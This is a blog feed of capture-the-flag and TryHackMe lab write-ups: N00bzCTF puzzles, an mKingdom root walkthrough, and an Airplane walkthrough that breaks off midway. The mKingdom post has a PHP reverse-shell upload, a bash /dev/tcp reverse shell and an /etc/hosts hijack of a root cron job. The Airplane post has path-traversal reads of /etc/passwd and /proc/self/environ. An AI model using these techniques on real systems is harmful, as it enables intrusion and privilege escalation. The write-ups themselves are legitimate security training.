<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://wizarddos.github.io/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://wizarddos.github.io/blog/" rel="alternate" type="text/html" /><updated>2026-07-27T09:22:49+00:00</updated><id>https://wizarddos.github.io/blog/feed.xml</id><title type="html">wizarddos blog</title><subtitle>My attempt to grasp the world around me - for cyber and other inquries I want to write about</subtitle><entry><title type="html">N00bzCTF writeups</title><link href="https://wizarddos.github.io/blog/writeups/2024/08/05/n00bz-ctf-writeups.html" rel="alternate" type="text/html" title="N00bzCTF writeups" /><published>2024-08-05T00:00:00+00:00</published><updated>2024-08-05T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/writeups/2024/08/05/n00bz-ctf-writeups</id><content type="html" xml:base="https://wizarddos.github.io/blog/writeups/2024/08/05/n00bz-ctf-writeups.html"><![CDATA[<p>Hello World!
This weekend (03.08.2024-04.08.2024) I took part in <a href="https://ctftime.org/event/2378">N00bzCTF</a></p>

<p>It was another event like this, that I participated in (After L3ak, OS-CTF, ECSC Quals and I guess something else)
To be honest, I enjoyed it the most out of other CTFs. 
Some challenges were pretty straight forward, some weren’t, but that’s how CTFs are</p>

<p>All right, end of my opinions
Here are my solves - I hope you’ll enjoy and learn something off of them!
<!--more--></p>
<h2 id="1-passwordless---web">1. Passwordless - Web</h2>

<ul>
  <li>Flag: <code class="language-plaintext highlighter-rouge">n00bz{1337-13371337-1337-133713371337-1337}</code></li>
</ul>

<p><strong>Solution:</strong>
For a flag, we need to go to a directory named with UID of auser <code class="language-plaintext highlighter-rouge">admin123</code></p>

<p>Yet trying to log in as admin gives us error</p>

<p>Why? Answer lies in the code we got from an excersise</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">redirect</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">render_template_string</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">urllib</span>
<span class="kn">import</span> <span class="nn">uuid</span>
<span class="k">global</span> <span class="n">leet</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'/flag.txt'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">leet</span><span class="o">=</span><span class="n">uuid</span><span class="p">.</span><span class="n">UUID</span><span class="p">(</span><span class="s">'13371337-1337-1337-1337-133713371337'</span><span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">,</span><span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span><span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">username</span>
    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'GET'</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'index.html'</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
        <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">values</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">username</span> <span class="o">==</span> <span class="s">'admin123'</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">'Stop trying to act like you are the admin!'</span>
        <span class="n">uid</span> <span class="o">=</span> <span class="n">uuid</span><span class="p">.</span><span class="n">uuid5</span><span class="p">(</span><span class="n">leet</span><span class="p">,</span><span class="n">username</span><span class="p">)</span> <span class="c1"># super secure!
</span>        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="sa">f</span><span class="s">'/</span><span class="si">{</span><span class="n">uid</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/&lt;uid&gt;'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">user_page</span><span class="p">(</span><span class="n">uid</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">uid</span> <span class="o">!=</span> <span class="nb">str</span><span class="p">(</span><span class="n">uuid</span><span class="p">.</span><span class="n">uuid5</span><span class="p">(</span><span class="n">leet</span><span class="p">,</span><span class="s">'admin123'</span><span class="p">)):</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">'Welcome! No flag for you :('</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">flag</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'0.0.0.0'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">1337</span><span class="p">)</span>
</code></pre></div></div>
<p>We also learn that this code runs UUID in version 5, as well as it has static leet - <code class="language-plaintext highlighter-rouge">13371337-1337-1337-1337-133713371337</code></p>

<p>Quick google serach lead me to <a href="https://www.uuidtools.com/v5">this website</a>.
I put in there username (<code class="language-plaintext highlighter-rouge">admin123</code>) and leet (<code class="language-plaintext highlighter-rouge">13371337-1337-1337-1337-133713371337</code>) - It spit out<code class="language-plaintext highlighter-rouge">3c68e6cc-15a7-59d4-823c-e7563bbb326c</code></p>

<p>As I mentioned before, we need to head to <code class="language-plaintext highlighter-rouge">http://24.199.110.35:40150/3c68e6cc-15a7-59d4-823c-e7563bbb326c</code> (<code class="language-plaintext highlighter-rouge">/uid5</code>) and flag is there</p>

<h2 id="2-vinegar---crypto">2. Vinegar - Crypto</h2>
<ul>
  <li>Flag: <code class="language-plaintext highlighter-rouge">n00bz{vigenerecipherisfun}</code></li>
</ul>

<p><strong>Solution:</strong></p>

<p>Task Provides us with this file</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Encrypted flag: nmivrxbiaatjvvbcjsf
Key: secretkey
</code></pre></div></div>

<p>As challenge name suggests - It’s simple Vigenère cypher
With these cyphers, I always go to <a href="https://gchq.github.io/CyberChef/#recipe=Vigen%C3%A8re_Decode('secretkey')&amp;input=bm1pdnJ4YmlhYXRqdnZiY2pzZg">CyberChef</a></p>

<p>I picked, Vigenère, then passed an encrypted flag, a key</p>

<p>And I got the second flag!</p>

<h2 id="3-vacation---rev">3. Vacation - Rev</h2>

<ul>
  <li>Flag: <code class="language-plaintext highlighter-rouge">n00bz{from_paris_wth_xor}</code></li>
</ul>

<p>Here, task gives us Powershell script</p>
<div class="language-ps highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">$bytes</span> <span class="nf">=</span> <span class="p">[</span><span class="nf">System.Text.Encoding</span><span class="p">]</span><span class="nf">::ASCII.GetBytes</span><span class="s">((cat .</span><span class="se">\f</span><span class="s">lag.txt))</span>
<span class="p">[</span><span class="nf">System.Collections.Generic.List</span><span class="p">[</span><span class="nf">byte</span><span class="p">]]</span><span class="nf">$newBytes</span> <span class="nf">=</span> <span class="nf">@</span><span class="s">()</span>
<span class="nf">$bytes.ForEach</span><span class="s">({
    $newBytes.Add($_ -bxor 3)
    })</span>
<span class="nf">$newString</span> <span class="nf">=</span>  <span class="p">[</span><span class="nf">System.Text.Encoding</span><span class="p">]</span><span class="nf">::ASCII.GetString</span><span class="s">($newBytes)</span>
<span class="nf">echo</span> <span class="nf">$newString</span> <span class="nf">|</span> <span class="nf">Out-File</span> <span class="nf">-Encoding</span> <span class="nf">ascii</span> <span class="nf">.\output.txt</span>
</code></pre></div></div>
<p>And this encoded string</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>m33ayxeqln\sbqjp\twk\{lq~
</code></pre></div></div>

<p>That script converts all characters of the flag to bytes, then performs <code class="language-plaintext highlighter-rouge">XOR</code> operation on each byte with 3 and spits out encrypted text</p>

<p>Another quick research -&gt; all we need to do is perform XOR one more time, now on ciphered text and 3 (Since the inverse of <code class="language-plaintext highlighter-rouge">XOR</code> is <code class="language-plaintext highlighter-rouge">XOR</code> as well)</p>

<p>I wrote this simple python code to give us a flag</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">encoded_text</span> <span class="o">=</span> <span class="s">"m33ayxeqln</span><span class="se">\\</span><span class="s">sbqjp</span><span class="se">\\</span><span class="s">twk</span><span class="se">\\</span><span class="s">{lq~"</span>
<span class="n">encoded_bytes</span> <span class="o">=</span> <span class="n">encoded_text</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">)</span>


<span class="n">decoded_bytes</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">b</span> <span class="o">^</span> <span class="mi">3</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">encoded_bytes</span><span class="p">])</span>
<span class="n">decoded_string</span> <span class="o">=</span> <span class="n">decoded_bytes</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">decoded_string</span><span class="p">)</span>
</code></pre></div></div>

<p>We first convert text to ASCII then do <code class="language-plaintext highlighter-rouge">XOR</code> for each ASCII value with 3 and in the end we turn it back to UTF-8</p>

<h2 id="4-sanity-check---misc">4. Sanity Check - Misc</h2>

<ul>
  <li>Flag: <code class="language-plaintext highlighter-rouge">n00bz{w3lc0m3_t0_n00bzCTF2024!}</code></li>
</ul>

<p>I just serached for the pharse <code class="language-plaintext highlighter-rouge">n00bz</code> in N00bzCTF Discord on <code class="language-plaintext highlighter-rouge">#general</code> and there it was - as a message from mod</p>

<h2 id="5-agreee---misc">5. Agreee - Misc</h2>

<ul>
  <li>Flag: <code class="language-plaintext highlighter-rouge">n00bz{Terms_0f_Serv1c3s_4nd_pr1v4cy_p0l1cy_6f3a4d}</code></li>
</ul>

<p>This challange says:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I hope you like our Terms of Service and Privacy Policy of our website!
</code></pre></div></div>

<p>So, I head to <a href="https://ctf.n00bzunit3d.xyz/tos">ToS</a> and found this - <code class="language-plaintext highlighter-rouge">n00bz{Terms_0f_Serv1c3s_</code>
And then to <a href="https://ctf.n00bzunit3d.xyz/privacy">privacy policy</a> and found this - <code class="language-plaintext highlighter-rouge">4nd_pr1v4cy_p0l1cy_6f3a4d}</code></p>

<p>Combining both gives us  another flag</p>

<h2 id="conclusion">Conclusion</h2>

<p>Thanks for reading this little mess. I hope you enjoyed it.</p>

<p>Sadly, I didn’t solve any more challenges (Better luck for me next year i guess) but I’m still satisfied</p>

<p>I’m really looking forward to next year’s edition</p>

<p>See you in next articles</p>]]></content><author><name>wizarddos</name></author><category term="writeups" /><summary type="html"><![CDATA[Hello World! This weekend (03.08.2024-04.08.2024) I took part in N00bzCTF It was another event like this, that I participated in (After L3ak, OS-CTF, ECSC Quals and I guess something else) To be honest, I enjoyed it the most out of other CTFs. Some challenges were pretty straight forward, some weren’t, but that’s how CTFs are All right, end of my opinions Here are my solves - I hope you’ll enjoy and learn something off of them!]]></summary></entry><entry><title type="html">mKingdom Writeup (TryHackMe)</title><link href="https://wizarddos.github.io/blog/tryhackme/2024/06/15/mkingdom-writeup.html" rel="alternate" type="text/html" title="mKingdom Writeup (TryHackMe)" /><published>2024-06-15T00:00:00+00:00</published><updated>2024-06-15T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/tryhackme/2024/06/15/mkingdom-writeup</id><content type="html" xml:base="https://wizarddos.github.io/blog/tryhackme/2024/06/15/mkingdom-writeup.html"><![CDATA[<p>Wanna watch a video?</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/2x0G4RzY2Is?si=YxhnX0GOqCLkK789" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Another day, another machine. This time we’ll try to solve <a href="https://tryhackme.com/r/room/mkingdom">mKingdom</a>
This is a really new machine for me, as it was published a day or two ago, so off we go.
<!--more--></p>

<h3 id="enumeration">Enumeration</h3>

<p>Start with port scan</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ rustscan -a $IP -- -sC -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \\ |  `| |
| .-. \\| {_} |.-._} } | |  .-._} }\\     }/  /\\  \\| |\\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: &lt;http://discord.skerritt.blog&gt;           :
: &lt;https://github.com/RustScan/RustScan&gt; :
 --------------------------------------
😵 &lt;https://admin.tryhackme.com&gt;

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.52.202:85
[~] Starting Script(s)
[...]
PORT   STATE SERVICE REASON  VERSION
85/tcp open  http    syn-ack Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN

</code></pre></div></div>

<p>Only one port open? All right, we’re going to figure something out.</p>

<h3 id="web-enumeration">Web Enumeration</h3>

<p>The index page itself had no interesting information, so I brute-forced directories with <code class="language-plaintext highlighter-rouge">gobuster</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u "&lt;http://$IP:85/&gt;" -x html,js,txt,php -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     &lt;http://10.10.52.202:85/&gt;
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,js,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
[...]
/app                  (Status: 301) [Size: 312] [--&gt; &lt;http://10.10.52.202:85/app/&gt;]
/index.html           (Status: 200) [Size: 647]
/index.html           (Status: 200) [Size: 647]
/server-status        (Status: 403) [Size: 292]
Progress: 23080 / 23085 (99.98%)
===============================================================
Finished
===============================================================

</code></pre></div></div>

<p>There’s <code class="language-plaintext highlighter-rouge">/app</code> directory - let’s visit it</p>

<p><code class="language-plaintext highlighter-rouge">/app</code> has just a button, but when we click it, we get redirected to a blog running <code class="language-plaintext highlighter-rouge">concrete5</code> CMS</p>

<p>Wappalyzer gave us the version - <code class="language-plaintext highlighter-rouge">8.5.2</code></p>

<h3 id="web-exploiting">Web Exploiting</h3>

<p>I was looking for some exploits online and I’ve found <a href="https://vulners.com/hackerone/H1:768322">this report</a>
But it requires a user, which we don’t have yet</p>

<p>Yet bit of brute-forcing gave me creds <code class="language-plaintext highlighter-rouge">admin:password</code></p>

<p>Now it’s time to follow that report - Go to navbar -&gt; <code class="language-plaintext highlighter-rouge">System &amp; Settings</code> -&gt; <code class="language-plaintext highlighter-rouge">Files</code> -&gt; <code class="language-plaintext highlighter-rouge">Allowed File Types</code>
Then edit that input and add <code class="language-plaintext highlighter-rouge">php</code></p>

<p>Now go to <code class="language-plaintext highlighter-rouge">Files</code> in the same nav and upload PHP reverse shell - like the one from <a href="https://github.com/pentestmonkey/php-reverse-shell"><code class="language-plaintext highlighter-rouge">pentestMonkey</code></a></p>

<p>After upload we see the link - set up a netcat listener</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp 1337

</code></pre></div></div>

<p>Now visit that link and we’ve got the shell</p>

<h3 id="privilege-escalation-pt1---user-toad">Privilege escalation pt.1 - User <code class="language-plaintext highlighter-rouge">toad</code></h3>

<p>Stabilize your shell with Python.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 -c 'import pty;pty.spawn("/bin/bash")'

</code></pre></div></div>

<p>Now I see that <code class="language-plaintext highlighter-rouge">cat</code> has SUID permissions as <code class="language-plaintext highlighter-rouge">toad</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ find / -type f -perm -04000 -ls 2&gt;/dev/null
[...]
-rwsr-xr-x 1 toad root 47K Mar 10  2016 /bin/cat
[...]

</code></pre></div></div>

<p>Quick trip to <code class="language-plaintext highlighter-rouge">GTFOBins</code> assured me that I can read files in <code class="language-plaintext highlighter-rouge">toad</code> home dir - like <code class="language-plaintext highlighter-rouge">.bashrc</code></p>

<p>It gave me something</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ /bin/cat /home/toad/.bashrc

[...]
export PWD_token='[TOKEN]'

</code></pre></div></div>

<p>After decoding I got something
Let’s save it. It might be useful one day</p>

<p><code class="language-plaintext highlighter-rouge">LinPeas</code> gave me as well</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>╔══════════╣ Searching passwords in config PHP files
            'password' =&gt; '[REDACTED]',
const USER_CHANGE_PASSWORD_URL_LIFETIME = 7200;
const USER_PASSWORD_RESET = 24;
const UVTYPE_CHANGE_PASSWORD = 1;
            'password_credentials' =&gt; t('Password Credentials'),

</code></pre></div></div>

<p>And it’s the password for <code class="language-plaintext highlighter-rouge">toad</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ su toad
Password: [REDACTED]

</code></pre></div></div>

<h3 id="privilege-escalation-pt2---user-mario">Privilege Escalation pt.2 - User <code class="language-plaintext highlighter-rouge">mario</code></h3>

<p>Turns out <code class="language-plaintext highlighter-rouge">PWD_TOKEN</code> which we’ve found in <code class="language-plaintext highlighter-rouge">/home/toad/.bashrc</code> is mario’s password</p>

<p>Time for root!</p>

<h3 id="privilege-escalation-pt3---root">Privilege Escalation pt.3 - Root</h3>

<p>Running <code class="language-plaintext highlighter-rouge">pspy</code> gave me something - every interval some process sends an http request to the domain</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024/06/15 17:24:01 CMD: UID=0     PID=12304  | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/15 17:24:01 CMD: UID=0     PID=12303  | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash &gt;&gt; /var/log/up.log

</code></pre></div></div>

<p>We can “hijack” the domain and put in this <code class="language-plaintext highlighter-rouge">counter.sh</code> another reverse shell as <code class="language-plaintext highlighter-rouge">/etc/hosts</code> allows us to write something in it</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls -la /etc/hosts
ls -la /etc/hosts
-rw-rw-r-- 1 root mario 342 Jan 26 19:53 /etc/hosts

</code></pre></div></div>

<p>Let’s create a payload first
We need following directory structure</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/app
  /castle
    /application

</code></pre></div></div>

<p>And inside <code class="language-plaintext highlighter-rouge">application</code> a file called <code class="language-plaintext highlighter-rouge">counter.sh</code> with reverse shell</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash -i 1&gt;&amp; /dev/tcp/[YOUR IP]/1338 0&gt;&amp;1

</code></pre></div></div>

<p>Now, go back 3 directories and start python web server on port 85</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cd ../../../
$ python3 -m http.server 85

</code></pre></div></div>

<p>After all, in another terminal set up a <code class="language-plaintext highlighter-rouge">netcat</code> listener</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp 1338

</code></pre></div></div>

<p>Coming back to attacked machine - replace the contents of <code class="language-plaintext highlighter-rouge">/etc/hosts</code> with an entry for <code class="language-plaintext highlighter-rouge">mkingdom.thm</code> pointing to your IP</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo "[YOUR IP]      mkingdom.thm" &gt; /etc/hosts

</code></pre></div></div>

<p>After a while, root shell should appear in our <code class="language-plaintext highlighter-rouge">netcat</code> listener</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># whoami
root

</code></pre></div></div>

<p>And that’s it - machine pwned!</p>

<h3 id="little-annotation-to-flags">Little annotation to flags</h3>

<p>Because <code class="language-plaintext highlighter-rouge">cat</code> has <code class="language-plaintext highlighter-rouge">toad</code> user as its owner and has SUID bit set, we can’t read any flag using it
Luckily <code class="language-plaintext highlighter-rouge">vi</code> works - use it to read the flags. You can exit it by typing <code class="language-plaintext highlighter-rouge">:q</code></p>

<h2 id="conclusion">Conclusion</h2>

<p>It was tough, I’ll be realistic</p>

<p>There was a lot of dead ends and I’ve struggled to solve it for a while
I’d rate it more as <code class="language-plaintext highlighter-rouge">medium</code> rather than <code class="language-plaintext highlighter-rouge">easy</code>, even though mostly it was pretty straight forward</p>

<p>Remember, enumeration is key and don’t forget about <code class="language-plaintext highlighter-rouge">pspy</code></p>

<p>See you next time!</p>]]></content><author><name>wizarddos</name></author><category term="tryhackme" /><summary type="html"><![CDATA[Wanna watch a video? Another day, another machine. This time we’ll try to solve mKingdom This is a really new machine for me, as it was published a day or two ago, so off we go.]]></summary></entry><entry><title type="html">Airplane writeup (TryHackMe)</title><link href="https://wizarddos.github.io/blog/tryhackme/2024/06/09/airplane-writeup.html" rel="alternate" type="text/html" title="Airplane writeup (TryHackMe)" /><published>2024-06-09T00:00:00+00:00</published><updated>2024-06-09T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/tryhackme/2024/06/09/airplane-writeup</id><content type="html" xml:base="https://wizarddos.github.io/blog/tryhackme/2024/06/09/airplane-writeup.html"><![CDATA[<p>Wanna watch a video?</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/NpeN0ktliaQ?si=p9LXL0g984pFLm1l" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Welcome everyone! 
New machine landed on tryhackme, so of course I had to give it a try</p>

<p>It’s called <a href="https://tryhackme.com/r/room/airplane"><code class="language-plaintext highlighter-rouge">Airplane</code></a> - I don’t know what to expect but let’s go
<!--more--></p>
<h3 id="recon">Recon</h3>

<p>The first thing is always a port scan</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ rustscan -a $IP -- -sC -sV    
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.73.183:22
Open 10.10.73.183:6048
Open 10.10.73.183:8000
</code></pre></div></div>

<p>3 ports open - gotta enumerate further</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
6048/tcp open  x11?    syn-ack
8000/tcp open  http-alt syn-ack Werkzeug/3.0.2 Python/3.8.10
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Fri, 07 Jun 2024 18:56:19 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     &lt;!doctype html&gt;
|     &lt;html lang=en&gt;
|     &lt;title&gt;404 Not Found&lt;/title&gt;
|     &lt;h1&gt;Not Found&lt;/h1&gt;
|     &lt;p&gt;The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.&lt;/p&gt;
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Fri, 07 Jun 2024 18:56:14 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 269
|     Location: http://airplane.thm:8000/?page=index.html
|     Connection: close
|     &lt;!doctype html&gt;
|     &lt;html lang=en&gt;
|     &lt;title&gt;Redirecting...&lt;/title&gt;
|     &lt;h1&gt;Redirecting...&lt;/h1&gt;
|     &lt;p&gt;You should be redirected automatically to the target URL: &lt;a href="http://airplane.thm:8000/?page=index.html"&gt;http://airplane.thm:8000/?page=index.html&lt;/a&gt;. If not, click the link.
|   Socks5: 
|     &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd"&gt;
|     &lt;html&gt;
|     &lt;head&gt;
|     &lt;meta http-equiv="Content-Type" content="text/html;charset=utf-8"&gt;
|     &lt;title&gt;Error response&lt;/title&gt;
|     &lt;/head&gt;
|     &lt;body&gt;
|     &lt;h1&gt;Error response&lt;/h1&gt;
|     &lt;p&gt;Error code: 400&lt;/p&gt;
|     &lt;p&gt;Message: Bad request syntax ('
|     ').&lt;/p&gt;
|     &lt;p&gt;Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.&lt;/p&gt;
|     &lt;/body&gt;
|_    &lt;/html&gt;
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html
</code></pre></div></div>

<p>But now add <code class="language-plaintext highlighter-rouge">airplane.thm</code> to <code class="language-plaintext highlighter-rouge">/etc/hosts</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo "$IP    airplane.thm"|  sudo tee -a  /etc/hosts
</code></pre></div></div>

<p>Time for the website!</p>

<h3 id="website-enumeration">Website enumeration</h3>

<p>As we know the domain, I’ve also added it to my terminal</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export HOST="airplane.thm" 
</code></pre></div></div>

<p>Now let’s look around</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u "http://$HOST:8000/" -x html,js,txt,py -t 20
</code></pre></div></div>

<p>While it’s running - we can look at the page</p>

<p>it takes one parameter - <code class="language-plaintext highlighter-rouge">page</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://airplane.thm:8000/?page=index.html
</code></pre></div></div>

<p>What if we tried <code class="language-plaintext highlighter-rouge">../../../../../../etc/passwd</code></p>

<p>Something got downloaded!</p>

<p><img src="https://i.ibb.co/XXvyYmB/obraz.png" alt="I think it's it" /></p>

<h3 id="web-exploitation">Web exploitation</h3>

<p>What’s in there?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
[Bunch of other stuff]
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
</code></pre></div></div>

<p>We now know that we’ve got 2 users - <code class="language-plaintext highlighter-rouge">hudson</code> and <code class="language-plaintext highlighter-rouge">carlos</code></p>

<p>I’ve downloaded enviromental variables too</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://airplane.thm:8000/?page=../../../../../../proc/self/environ
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LANG=en_US.UTF-8�LC_ADDRESS=tr_TR.UTF-8
LC_IDENTIFICATION=tr_TR.UTF-8
LC_MEASUREMENT=tr_TR.UTF-8
